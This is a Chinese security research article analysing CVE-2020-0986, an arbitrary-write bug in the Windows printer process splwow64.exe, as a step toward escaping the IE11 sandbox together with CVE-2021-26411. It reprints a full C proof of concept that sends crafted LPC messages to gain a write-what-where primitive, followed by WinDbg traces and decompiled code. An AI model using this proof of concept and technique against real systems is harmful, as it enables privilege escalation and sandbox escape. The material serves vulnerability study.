首页
社区
课程
招聘
[原创]利用CVE-2020-0986实现IE沙箱逃逸
2021-7-5 17:29 11870

[原创]利用CVE-2020-0986实现IE沙箱逃逸

2021-7-5 17:29
11870

作者:Muoziiy@天玄安全实验室
原文链接:https://mp.weixin.qq.com/s/_hyjmkhD_RvKJdsXOt40uA

前言

这篇文章描述如何利用CVE-2020-0986实现IE沙箱逃逸。

 

本文不会给出完整的利用代码,只分享一些漏洞利用思路。

 

2021年4月30日,安恒威胁情报中心发布了一篇《深入分析 CVE-2021-26411 IE浏览器UAF漏洞》,里面详细分析了该漏洞的原理和利用过程,文章最后提到 "这种IE漏洞在IE11环境中需要配合一个提权漏洞才能实现代码执行,目前还未见到对这个漏洞配套使用的提权漏洞的披露",所以本人以研究学习为目的,通过参考 @iamelli0t师傅在2020看雪SDC的演讲内容 《逃逸IE浏览器沙箱:在野0Day漏洞利用复现 》,复现了CVE-2020-0986的提权EXP,并配合CVE-2021-26411实现了IE 11沙箱逃逸。

漏洞概述

CVE-2021-26411已经在安恒的文章中已经做了详细描述,这里就不在介绍。

 

CVE-2020-0986是用户模式下打印机驱动主进程splwow64.exe存在任意指针取消引用漏洞,该漏洞允许使用任意参数在splwow64.exe进程空间内调用Memcpy函数,这实际上是在splwow64.exe进程空间内实现了一个任意地址写的原语。因为splwow64.exe是IE提权策略的白名单进程,所以可以利用IE的代码执行启动splwow64.exe进程,并通过发送特定LPC消息来操纵splwow64.exe进程内存,实现在splwow64.exe进程中执行任意代码并逃逸IE 11沙箱。

POC

本次分析用到的POC来自google project zero

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
#include <iostream>;
#include "windows.h";
#include "Shlwapi.h";
#include "winternl.h";
 
typedef struct _PORT_VIEW
{
        UINT64 Length;
        HANDLE SectionHandle;
        UINT64 SectionOffset;
        UINT64 ViewSize;
        UCHAR* ViewBase;
        UCHAR* ViewRemoteBase;
} PORT_VIEW, * PPORT_VIEW;
 
PORT_VIEW ClientView;
 
typedef struct _PORT_MESSAGE_HEADER {
        USHORT DataSize;
        USHORT MessageSize;
        USHORT MessageType;
        USHORT VirtualRangesOffset;
        CLIENT_ID ClientId;
        UINT64 MessageId;
        UINT64 SectionSize;
} PORT_MESSAGE_HEADER, * PPORT_MESSAGE_HEADER;
 
typedef struct _PORT_MESSAGE {
        PORT_MESSAGE_HEADER MessageHeader;
        UINT64 MsgSendLen;
        UINT64 PtrMsgSend;
        UINT64 MsgReplyLen;
        UINT64 PtrMsgReply;
        UCHAR Unk4[0x1F8];
} PORT_MESSAGE, * PPORT_MESSAGE;
 
PORT_MESSAGE LpcRequest;
PORT_MESSAGE LpcReply;
 
NTSTATUS(NTAPI* NtOpenProcessToken)(
        _In_ HANDLE ProcessHandle,
        _In_ ACCESS_MASK DesiredAccess,
        _Out_ PHANDLE TokenHandle
        );
 
NTSTATUS(NTAPI* ZwQueryInformationToken)(
        _In_ HANDLE TokenHandle,
        _In_ TOKEN_INFORMATION_CLASS TokenInformationClass,
        _Out_writes_bytes_to_opt_(TokenInformationLength, *ReturnLength) PVOID TokenInformation,
        _In_ ULONG TokenInformationLength,
        _Out_ PULONG ReturnLength
        );
 
NTSTATUS(NTAPI* NtCreateSection)(
        PHANDLE            SectionHandle,
        ACCESS_MASK        DesiredAccess,
        POBJECT_ATTRIBUTES ObjectAttributes,
        PLARGE_INTEGER     MaximumSize,
        ULONG              SectionPageProtection,
        ULONG              AllocationAttributes,
        HANDLE             FileHandle
        );
 
NTSTATUS(NTAPI* ZwSecureConnectPort)(
        _Out_ PHANDLE PortHandle,
        _In_ PUNICODE_STRING PortName,
        _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos,
        _Inout_opt_ PPORT_VIEW ClientView,
        _In_opt_ PSID Sid,
        _Inout_opt_ PVOID ServerView,
        _Out_opt_ PULONG MaxMessageLength,
        _Inout_opt_ PVOID ConnectionInformation,
        _Inout_opt_ PULONG ConnectionInformationLength
        );
 
NTSTATUS(NTAPI* NtRequestWaitReplyPort)(
        IN HANDLE PortHandle,
        IN PPORT_MESSAGE LpcRequest,
        OUT PPORT_MESSAGE LpcReply
        );
 
 
int Init()
{
        HMODULE ntdll = GetModuleHandleA("ntdll");
 
        NtOpenProcessToken = (NTSTATUS(NTAPI*) (HANDLE, ACCESS_MASK, PHANDLE)) GetProcAddress(ntdll, "NtOpenProcessToken");
        if (NtOpenProcessToken == NULL)
        {
                return 0;
        }
 
        ZwQueryInformationToken = (NTSTATUS(NTAPI*) (HANDLE, TOKEN_INFORMATION_CLASS, PVOID, ULONG, PULONG)) GetProcAddress(ntdll, "ZwQueryInformationToken");
        if (ZwQueryInformationToken == NULL)
        {
                return 0;
        }
 
        NtCreateSection = (NTSTATUS(NTAPI*) (PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PLARGE_INTEGER, ULONG, ULONG, HANDLE)) GetProcAddress(ntdll, "NtCreateSection");
        if (NtCreateSection == NULL)
        {
                return 0;
        }
 
        ZwSecureConnectPort = (NTSTATUS(NTAPI*) (PHANDLE, PUNICODE_STRING, PSECURITY_QUALITY_OF_SERVICE, PPORT_VIEW, PSID, PVOID, PULONG, PVOID, PULONG)) GetProcAddress(ntdll, "ZwSecureConnectPort");
        if (ZwSecureConnectPort == NULL)
        {
                return 0;
        }
 
        NtRequestWaitReplyPort = (NTSTATUS(NTAPI*) (HANDLE, PPORT_MESSAGE, PPORT_MESSAGE)) GetProcAddress(ntdll, "NtRequestWaitReplyPort");
        if (NtRequestWaitReplyPort == NULL)
        {
                return 0;
        }
 
        return 1;
}
 
int GetPortName(PUNICODE_STRING DestinationString)
{
        void* tokenHandle;
        DWORD sessionId;
        ULONG length;
 
        int tokenInformation[16];
        WCHAR dst[256];
 
        memset(tokenInformation, 0, sizeof(tokenInformation));
        ProcessIdToSessionId(GetCurrentProcessId(), &sessionId);
 
        memset(dst, 0, sizeof(dst));
 
        if (NtOpenProcessToken(GetCurrentProcess(), 0x20008u, &tokenHandle)
                || ZwQueryInformationToken(tokenHandle, TokenStatistics, tokenInformation, 0x38u, &length))
        {
                return 0;
        }
 
        wsprintfW(
                dst,
                L"\\RPC Control\\UmpdProxy_%x_%x_%x_%x",
                sessionId,
                tokenInformation[2],
                tokenInformation[3],
                0x2000);
        printf("name: %ls\n", dst);
        RtlInitUnicodeString(DestinationString, dst);
 
        return 1;
}
 
HANDLE CreatePortSharedBuffer(PUNICODE_STRING PortName)
{
        HANDLE sectionHandle = 0;
        HANDLE portHandle = 0;
        union _LARGE_INTEGER maximumSize;
        maximumSize.QuadPart = 0x20000;
 
        if (0 != NtCreateSection(&sectionHandle, SECTION_MAP_WRITE | SECTION_MAP_READ, 0, &maximumSize, PAGE_READWRITE, SEC_COMMIT, NULL)) {
                return 0;
        }
        if (sectionHandle)
        {
                ClientView.SectionHandle = sectionHandle;
                ClientView.Length = 0x30;
                ClientView.ViewSize = 0x9000;
                int retval = ZwSecureConnectPort(&portHandle, PortName, NULL, &ClientView, NULL, NULL, NULL, NULL, NULL);
                if(retval){
                        return 0;
                }
        }
 
        return portHandle;
}
 
PVOID PrepareMessage()
{
        memset(&LpcRequest, 0, sizeof(LpcRequest));
        LpcRequest.MessageHeader.DataSize = 0x20;
        LpcRequest.MessageHeader.MessageSize = 0x48;
 
        LpcRequest.MsgSendLen = 0x88;
        LpcRequest.PtrMsgSend = (UINT64)ClientView.ViewRemoteBase;
        LpcRequest.MsgReplyLen = 0x10;
        LpcRequest.PtrMsgReply = (UINT64)ClientView.ViewRemoteBase + 0x88;
 
        memcpy(&LpcReply, &LpcRequest, sizeof(LpcRequest));
 
        *(UINT64*)ClientView.ViewBase = 0x6D00000000; //Msg Type (Document Event)
        *((UINT64*)ClientView.ViewBase + 3) = (UINT64)ClientView.ViewRemoteBase + 0x100; //First arg to FindPrinterHandle
        *((UINT64*)ClientView.ViewBase + 4) = 0x500000005// 2nd arg to FindPrinterHandle
        *((UINT64*)ClientView.ViewBase + 7) = 0x2000000001; //iEsc argument to DocumentEvent
        *((UINT64*)ClientView.ViewBase + 0xA) = (UINT64)ClientView.ViewRemoteBase + 0x800; //Buffer out to DocumentEvent, pointer to pointer of src of memcpy
        *((UINT64*)ClientView.ViewBase + 0xB) = (UINT64)ClientView.ViewRemoteBase + 0x840; //Destination of memcpy
        *((UINT64*)ClientView.ViewBase + 0x28) = (UINT64)ClientView.ViewRemoteBase + 0x160;
        *((UINT64*)ClientView.ViewBase + 0x2D) = 0x500000005;
        *((UINT64*)ClientView.ViewBase + 0x2E) = (UINT64)ClientView.ViewRemoteBase + 0x200;
        *((UINT64*)ClientView.ViewBase + 0x40) = 0x6767;
        *((UINT64*)ClientView.ViewBase + 0x100) = (UINT64)ClientView.ViewRemoteBase + 0x810;
        return ClientView.ViewBase;
}
 
void DebugWrite()
{
        printf("Copy from 0x%llX to 0x%llX (0x%llX bytes)\n", *((UINT64*)ClientView.ViewBase + 0x100), *((UINT64*)ClientView.ViewBase + 0xB), *((UINT64*)ClientView.ViewBase + 0x10A) >> 48);
}
 
bool WriteData(HANDLE portHandle, UINT64 offset, UCHAR* buf, UINT64 size)
{
        *((UINT64*)ClientView.ViewBase + 0xB) = offset;
        *((UINT64*)ClientView.ViewBase + 0x10A) = size << 48;
        memcpy(ClientView.ViewBase + 0x810, buf, size);
 
        DebugWrite();
 
        return NtRequestWaitReplyPort(portHandle, &LpcRequest, &LpcReply) == 0;
 
}
 
int main()
{
 
        Init();
        CHAR Path[0x100];
        GetCurrentDirectoryA(sizeof(Path), Path);
        PathAppendA(Path, "CreateDC.exe");
        if (!(PathFileExistsA(Path)))
        {
                return 0;
        }
        WinExec(Path, 0);
 
        CreateDCW(L"Microsoft XPS Document Writer", L"Microsoft XPS Document Writer", NULL, NULL);
 
        UNICODE_STRING portName;
        if (!GetPortName(&portName))
        {
                return 0;
        }
 
        HANDLE portHandle = CreatePortSharedBuffer(&portName);
        if (!(portHandle && ClientView.ViewBase && ClientView.ViewRemoteBase))
        {
                return 0;
        }
 
        PrepareMessage();
 
        printf("Press [Enter] to continue . . .");
        fflush(stdout);
        getchar();
        UINT64 value = 0;
        if (!WriteData(portHandle, 0x4141414141414141, (UCHAR*)&value, 8))
        {
                return 0;
        }
 
        printf("Done\n");
 
        return 0;
}

POC分析

一个简单的LPC通信,有以下几个步骤:

  1. Server指定一个端口名,并创建端口
  2. Server监听创建的端口
  3. Client连接Server创建的端口
  4. Server接受Client连接请求并完成连接
  5. Client发送请求报文,并等待Server响应
  6. Server接受请求报文并响应

在LPC通信过程中,如果报文较大,通信双方就会采用共享内存区的方式交换数据,但会通过报文进行协调同步。

 

LPC通信流程如下图所示(图片源自 @iamelli0t 师傅在看雪SDC的演讲PPT )

 

<img src="https://gitee.com/tianxuan-securitylab/source/raw/master/img/1623401452747.png" alt="1623401452747" style="zoom: 50%;" />

 

更多LPC相关内容,请自行查阅,本文不做详述。

 

目前已知的是通过NtRequestWaitReplyPort发送LPC消息到splwow64.exe进程后,由splwow64!TLPCMgr::ProcessRequest对LPC消息进行处理,所以对splwow64!TLPCMgr::ProcessRequest下断。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
0:009> bu splwow64!TLPCMgr::ProcessRequest
0:009> bu gdi32full!GdiPrinterThunk
0:009> g
Breakpoint 0 hit
splwow64!TLPCMgr::ProcessRequest:
00007ff7`0bf176ac 48895c2418      mov     qword ptr [rsp+18h],rbx ss:00000000`0279f3e0=0000000000d7ca90
0:007> r
rax=0000000000000000 rbx=0000000000d7ca90 rcx=0000000000d756f0
rdx=0000000000d7cac0 rsi=0000000000d7cac0 rdi=0000000000d786a0
rip=00007ff70bf176ac rsp=000000000279f3c8 rbp=0000000000b6a478
 r8=000000000279f328  r9=0000000000b6a478 r10=0000000000000000
r11=0000000000000244 r12=000000007ffe03b0 r13=000000000000022c
r14=0000000000d78778 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
splwow64!TLPCMgr::ProcessRequest:
00007ff7`0bf176ac 48895c2418      mov     qword ptr [rsp+18h],rbx ss:00000000`0279f3e0=0000000000d7ca90

rdx=0000000000d7cac0 即为LpcRequest

 

1623812660207

 

IDA反汇编 TLPCMgr::ProcessRequest

 

1622713289115

 

windbg调试上图所示代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
0:007>
splwow64!TLPCMgr::ProcessRequest+0x6e:
00007ff7`0bf1771a 66833f20        cmp     word ptr [rdi],20h ds:00000000`00d7cac0=0020
0:007>
splwow64!TLPCMgr::ProcessRequest+0x72:
00007ff7`0bf1771e 418bef          mov     ebp,r15d
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x75:
00007ff7`0bf17721 418bdf          mov     ebx,r15d
0:007>
splwow64!TLPCMgr::ProcessRequest+0x78:
00007ff7`0bf17724 41be57000000    mov     r14d,57h
0:007>
splwow64!TLPCMgr::ProcessRequest+0x7e:
00007ff7`0bf1772a 7523            jne     splwow64!TLPCMgr::ProcessRequest+0xa3 (00007ff7`0bf1774f) [br=0]
0:007>
splwow64!TLPCMgr::ProcessRequest+0x80:
00007ff7`0bf1772c 4d397d48        cmp     qword ptr [r13+48h],r15 ds:00000000`00d75738={GDI32!GdiPrinterThunk (00007ffa`c8e48eb0)} //判断GDI32!GdiPrinterThunk指针
0:007>
splwow64!TLPCMgr::ProcessRequest+0x84:
00007ff7`0bf17730 741d            je      splwow64!TLPCMgr::ProcessRequest+0xa3 (00007ff7`0bf1774f) [br=0]
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x86:
00007ff7`0bf17732 8b5f28          mov     ebx,dword ptr [rdi+28h] ds:00000000`00d7cae8=00000088
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x89:
00007ff7`0bf17735 8d43f0          lea     eax,[rbx-10h]
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x8c:
00007ff7`0bf17738 3defff0f00      cmp     eax,0FFFEFh
0:007> r eax
eax=78
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x91:
00007ff7`0bf1773d 0f8737030000    ja      splwow64!TLPCMgr::ProcessRequest+0x3ce (00007ff7`0bf17a7a) [br=0]
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x97:
00007ff7`0bf17743 8bcb            mov     ecx,ebx
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x99:
00007ff7`0bf17745 e8de430000      call    splwow64!operator new[] (00007ff7`0bf1bb28)
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x9e:
00007ff7`0bf1774a 488bf0          mov     rsi,rax
0:007> r
rax=0000000000d785e0 rbx=0000000000000088 rcx=000000007ffe0380
rdx=0000000000000001 rsi=0000000000000000 rdi=0000000000d7cac0
rip=00007ff70bf1774a rsp=000000000279f2e0 rbp=0000000000000000
 r8=0000000000000000  r9=0000000000000001 r10=0000000000d70000
r11=000000000279f250 r12=00007ff70bf22048 r13=0000000000d756f0
r14=0000000000000057 r15=0000000000000000
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
splwow64!TLPCMgr::ProcessRequest+0x9e:
00007ff7`0bf1774a 488bf0          mov     rsi,rax

上面的代码主要做了三件事,先判断LpcRequest.MessageHeader.DataSize是否为0x20,接着判断GDI32!GdiPrinterThunk函数指针是否存在,如果都存在,取LpcRequest.MsgSendLen的值0x88给EBX,然后调用splwow64!operator new 在splwow64.exe进程空间内分配了一块0x88大小的内存空间,接下来我们称这块空间为InputBuffer。

 

继续看IDA的反汇编代码

 

1622719910927

 

首先进行了复制操作,从LPC通信使用的共享内存复制数据到InPutBuffer中,然后取出LpcRequest.PtrMsgReply 的值给v9,接着取出LpcRequest.MsgReplyLen的值给v10,最后取出 LpcRequest.MessageHeader.MessageType的值给 v11。接下来判断v11、v12的值,这里对v11、v12值的判断结果会影响程序流程是否进入存在漏洞的函数。因为v11和v12的值都是从LpcRequest中得到的,所以我们可以通过控制LpcRequest,让程序按照我们预期的流程走,也就是进入gdi32!GdiPrinterThunk函数,在gdi32!GdiPrinterThunk中又调了gdi32full!GdiPrinterThunk函数。

 

windbg调试上面这块代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
0:007> p
splwow64!TLPCMgr::ProcessRequest+0xa1:
00007ff7`0bf1774d eb30            jmp     splwow64!TLPCMgr::ProcessRequest+0xd3 (00007ff7`0bf1777f)
0:007>
splwow64!TLPCMgr::ProcessRequest+0xd3:
00007ff7`0bf1777f 4885f6          test    rsi,rsi
0:007>
splwow64!TLPCMgr::ProcessRequest+0xd6:
00007ff7`0bf17782 0f84eb020000    je      splwow64!TLPCMgr::ProcessRequest+0x3c7 (00007ff7`0bf17a73) [br=0]
0:007>
splwow64!TLPCMgr::ProcessRequest+0xdc:
00007ff7`0bf17788 4c8b4730        mov     r8,qword ptr [rdi+30h] ds:00000000`00d7caf0=0000000000d20000
0:007>
splwow64!TLPCMgr::ProcessRequest+0xe0:
00007ff7`0bf1778c 488bce          mov     rcx,rsi
0:007>
splwow64!TLPCMgr::ProcessRequest+0xe3:
00007ff7`0bf1778f 8bd3            mov     edx,ebx
0:007>
splwow64!TLPCMgr::ProcessRequest+0xe5:
00007ff7`0bf17791 448bcb          mov     r9d,ebx
0:007>
splwow64!TLPCMgr::ProcessRequest+0xe8:
00007ff7`0bf17794 ff1506720000    call    qword ptr [splwow64!_imp_memcpy_s (00007ff7`0bf1e9a0)] ds:00007ff7`0bf1e9a0={msvcrt!memcpy_s (00007ffa`c8fcd0e0)}
0:007> r
rax=0000000000d785e0 rbx=0000000000000088 rcx=0000000000d785e0
rdx=0000000000000088 rsi=0000000000d785e0 rdi=0000000000d7cac0
rip=00007ff70bf17794 rsp=000000000279f2e0 rbp=0000000000000000
 r8=0000000000d20000  r9=0000000000000088 r10=0000000000d70000
r11=000000000279f250 r12=00007ff70bf22048 r13=0000000000d756f0
r14=0000000000000057 r15=0000000000000000
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
splwow64!TLPCMgr::ProcessRequest+0xe8:
00007ff7`0bf17794 ff1506720000    call    qword ptr [splwow64!_imp_memcpy_s (00007ff7`0bf1e9a0)] ds:00007ff7`0bf1e9a0={msvcrt!memcpy_s (00007ffa`c8fcd0e0)}

rcx、rdx、r8、r9分别为memcpy_s的四个参数,rcx指向InputBuffer,rdx和r9为size。

 

r8指向用于LPC通信的共享内存

 

1622721609328

 

复制到InputBuffer的数据

1
2
3
4
5
6
7
8
9
10
11
12
13
0:007> p
splwow64!TLPCMgr::ProcessRequest+0xee:
00007ff7`0bf1779a 4c8b6740        mov     r12,qword ptr [rdi+40h] ds:00000000`00d7cb00=0000000000d20088
0:007> dq rcx l11
00000000`00d785e0  0000006d`00000000 00000000`00000000
00000000`00d785f0  00000000`00000000 00000000`00d20100
00000000`00d78600  00000005`00000005 00000000`00000000
00000000`00d78610  00000000`00000000 00000020`00000001
00000000`00d78620  00000000`00000000 00000000`00000000
00000000`00d78630  00000000`00d20800 41414141`41414141
00000000`00d78640  00000000`00000000 00000000`00000000
00000000`00d78650  00000000`00000000 00000000`00000000
00000000`00d78660  00000000`00000000

接着给v9,v10,v11赋值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
0:007> r rdi
rdi=0000000000d7cac0 //PORT_MESSAGE
0:007> p
splwow64!TLPCMgr::ProcessRequest+0xee:
00007ff7`0bf1779a 4c8b6740        mov     r12,qword ptr [rdi+40h]
//r12 为 V9 = PtrMsgReply ds:00000000`00d7cb00=0000000000d20088
0:007> p
splwow64!TLPCMgr::ProcessRequest+0xf2:
00007ff7`0bf1779e 448b7738        mov     r14d,dword ptr [rdi+38h]
//r14d 为 v10 = MsgReplyLen ds:00000000`00d7caf8=00000010
0:007> p
splwow64!TLPCMgr::ProcessRequest+0xf6:
00007ff7`0bf177a2 0fb75f04        movzx   ebx,word ptr [rdi+4] ds:00000000`00d7cac4=0001
//ebx 为 v11 = MessageType
0:007> p
splwow64!TLPCMgr::ProcessRequest+0xfa:
00007ff7`0bf177a6 488b0d9ba80000  mov     rcx,qword ptr [splwow64!WPP_GLOBAL_Control (00007ff7`0bf22048)] ds:00007ff7`0bf22048={splwow64!WPP_MAIN_CB (00007ff7`0bf22708)}
0:007> r
rax=0000000000000000 rbx=0000000000000001 rcx=0000000000d785e0
rdx=fffffffffffa7a20 rsi=0000000000d785e0 rdi=0000000000d7cac0
rip=00007ff70bf177a6 rsp=000000000279f2e0 rbp=0000000000000000
 r8=0000000000000000  r9=0000000000000000 r10=0000000000d70000
r11=0000000000d785e0 r12=0000000000d20088 r13=0000000000d756f0
r14=0000000000000010 r15=0000000000000000
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
splwow64!TLPCMgr::ProcessRequest+0xfa:
00007ff7`0bf177a6 488b0d9ba80000  mov     rcx,qword ptr [splwow64!WPP_GLOBAL_Control (00007ff7`0bf22048)] ds:00007ff7`0bf22048={splwow64!WPP_MAIN_CB (00007ff7`0bf22708)}

经过一系列的判断后,程序最终进入了gdi32full!GdiPrinterThunk,且传入的三个参数为:InputBuffer、PtrMsgReply和MsgReplyLen。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x1ec:
00007ff7`0bf17898 458bc6          mov     r8d,r14d
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x1ef:
00007ff7`0bf1789b 498bd4          mov     rdx,r12
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x1f2:
00007ff7`0bf1789e 488bce          mov     rcx,rsi
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x1f5:
00007ff7`0bf178a1 ff15e9720000    call    qword ptr [splwow64!_guard_dispatch_icall_fptr (00007ff7`0bf1eb90)] ds:00007ff7`0bf1eb90={ntdll!LdrpDispatchUserCallTarget (00007ffa`c946c590)}
0:007> r
rax=00007ffac8e48eb0 rbx=0000000000000000 rcx=0000000000d785e0
rdx=0000000000d20088 rsi=0000000000d785e0 rdi=0000000000d7cac0
rip=00007ff70bf178a1 rsp=000000000279f2e0 rbp=0000000000000000
 r8=0000000000000010  r9=0000000000000000 r10=0000000000d70000
r11=0000000000d785e0 r12=0000000000d20088 r13=0000000000d756f0
r14=0000000000000010 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
splwow64!TLPCMgr::ProcessRequest+0x1f5:
00007ff7`0bf178a1 ff15e9720000    call    qword ptr [splwow64!_guard_dispatch_icall_fptr (00007ff7`0bf1eb90)] ds:00007ff7`0bf1eb90={ntdll!LdrpDispatchUserCallTarget (00007ffa`c946c590)}
..................................................
0:007> p
ntdll!LdrpDispatchUserCallTarget+0x7:
00007ffa`c946c597 4c8bd0          mov     r10,rax
0:007> ln rax
Browse module
Clear breakpoint 2
 
(00007ffa`c8e48eb0)   GDI32!GdiPrinterThunk   |  (00007ffa`c8e48ebc)   GDI32!_imp_load_GdiProcessSetup
Exact matches:
0:007> p
ntdll!LdrpDispatchUserCallTarget+0xa:
00007ffa`c946c59a 49c1ea09        shr     r10,9
0:007>
ntdll!LdrpDispatchUserCallTarget+0xe:
00007ffa`c946c59e 4f8b1cd3        mov     r11,qword ptr [r11+r10*8] ds:00007ff5`d81a9238=8888888888888888
0:007>
ntdll!LdrpDispatchUserCallTarget+0x12:
00007ffa`c946c5a2 4c8bd0          mov     r10,rax
0:007> ln rax
Browse module
Clear breakpoint 2
 
(00007ffa`c8e48eb0)   GDI32!GdiPrinterThunk   |  (00007ffa`c8e48ebc)   GDI32!_imp_load_GdiProcessSetup
Exact matches:
.............................................
0:007> p
Breakpoint 1 hit
gdi32full!GdiPrinterThunk:
00007ffa`c71a59b0 48895c2410      mov     qword ptr [rsp+10h],rbx ss:00000000`0279f2e8=0000000000d785e0
0:007> r
rax=00007ffac8e48eb0 rbx=0000000000000000 rcx=0000000000d785e0
rdx=0000000000d20088 rsi=0000000000d785e0 rdi=0000000000d7cac0
rip=00007ffac71a59b0 rsp=000000000279f2d8 rbp=0000000000000000
 r8=0000000000000010  r9=0000000000000000 r10=00000fff591c91d7
r11=8888888888888888 r12=0000000000d20088 r13=0000000000d756f0
r14=0000000000000010 r15=0000000000000000
iopl=0         nv up ei pl nz na po cy
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000207
gdi32full!GdiPrinterThunk:
00007ffa`c71a59b0 48895c2410      mov     qword ptr [rsp+10h],rbx ss:00000000`0279f2e8=0000000000d785e0

进入gdi32full!GdiPrinterThunk函数后,先获取索引值,因为不同的索引值,会被不同的函数处理。索引值为位于InputBuffer+0x4处的DWORD。

 

1623379603013

 

下面是我们期望进入的处理函数,可以看出,当Fun_Index为0x6D,就可以进入我们期望的代码块。

 

1623380313615

 

在进入触发漏洞的代码Memcpy前,还要经过4个if判断和一个Decode函数。

 

1623380851289

 

这4个if判断的值,都可以被我们直接或间接控制,所以程序最终会来到漏洞函数Memcpy,且三个参数:目的地址、源地址、大小都可以被我们控制,所以这里实现了一个在splwow64进程空间内的 Write What Where Primitive 。Decode函数的作用是对Encode的DocumentEvent指针进行解码,也就是对fpDocumentEvent指针进行解码,从而得到真实的函数指针。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
0:007>
gdi32full!GdiPrinterThunk+0x2ac:
00007ffa`c71a5c5c 488b0d85d51300  mov     rcx,qword ptr [gdi32full!fpDocumentEvent (00007ffa`c72e31e8)] ds:00007ffa`c72e31e8=7ec611be0000fff5
0:007> p
gdi32full!GdiPrinterThunk+0x2b3:
00007ffa`c71a5c63 48ff1536960a00  call    qword ptr [gdi32full!_imp_RtlDecodePointer (00007ffa`c724f2a0)] ds:00007ffa`c724f2a0={ntdll!RtlDecodePointer (00007ffa`c94477a0)}
0:007> p
gdi32full!GdiPrinterThunk+0x2ba:
00007ffa`c71a5c6a 0f1f440000      nop     dword ptr [rax+rax]
0:007> ln rax
Browse module
Set bu breakpoint
 
(00007ffa`b1328f80)   WINSPOOL!DocumentEvent   |  (00007ffa`b132939c)   WINSPOOL!CallDrvDocumentEvent
Exact matches:
    WINSPOOL!DocumentEvent (void)
0:007>
gdi32full!GdiPrinterThunk+0x1fd4a:
00007ffa`c71c56fa e834d5feff      call    gdi32full!memcpy (00007ffa`c71b2c33)
0:007> r
rax=0000000000d20800 rbx=0000000000d20160 rcx=4141414141414141
rdx=0000000000d20810 rsi=0000000000d20088 rdi=0000000000d785e0
rip=00007ffac71c56fa rsp=000000000279f210 rbp=000000000279f279
 r8=0000000000000008  r9=0000000000000100 r10=00000fff5920c6c0
r11=000000000279f0e0 r12=0000000000000000 r13=0000000000000001
r14=0000000000000010 r15=0000000000000000
iopl=0         nv up ei ng nz ac po cy
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000297
gdi32full!GdiPrinterThunk+0x1fd4a:
00007ffa`c71c56fa e834d5feff      call    gdi32full!memcpy (00007ffa`c71b2c33)

漏洞利用

通过上面对POC的分析,我们得到了如下信息。

  1. 传入splwow64.exe进程的LPC消息,我们可以自由构造,所以我们可以控制程序流程每次都走到DocumentEvent函数。
  2. 我们拥有一个任意地址写的原语。

参考卡巴斯基的分析文章,我们知道fpDocumentEvent函数指针是被编码过的值,且每一次编码得到的值都不同,这取决于当前的Cookie值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 __fastcall RtlEncodePointer(__int64 a1)
{
  __int64 v1; // rax
  __int64 v2; // rbx
  unsigned int v4; // eax
  unsigned int v5; // [rsp+48h] [rbp+10h]
 
  v1 = (unsigned int)`RtlpGetCookieValue'::`2'::CookieValue;
  v2 = a1;
  if ( !`RtlpGetCookieValue'::`2'::CookieValue )
  {
    v4 = NtQueryInformationProcess(-1i64, 36i64, &v5);
    if ( (v4 & 0x80000000) != 0 )
      RtlRaiseStatus(v4);
    v1 = v5;
    `RtlpGetCookieValue'::`2'::CookieValue = v5;
  }
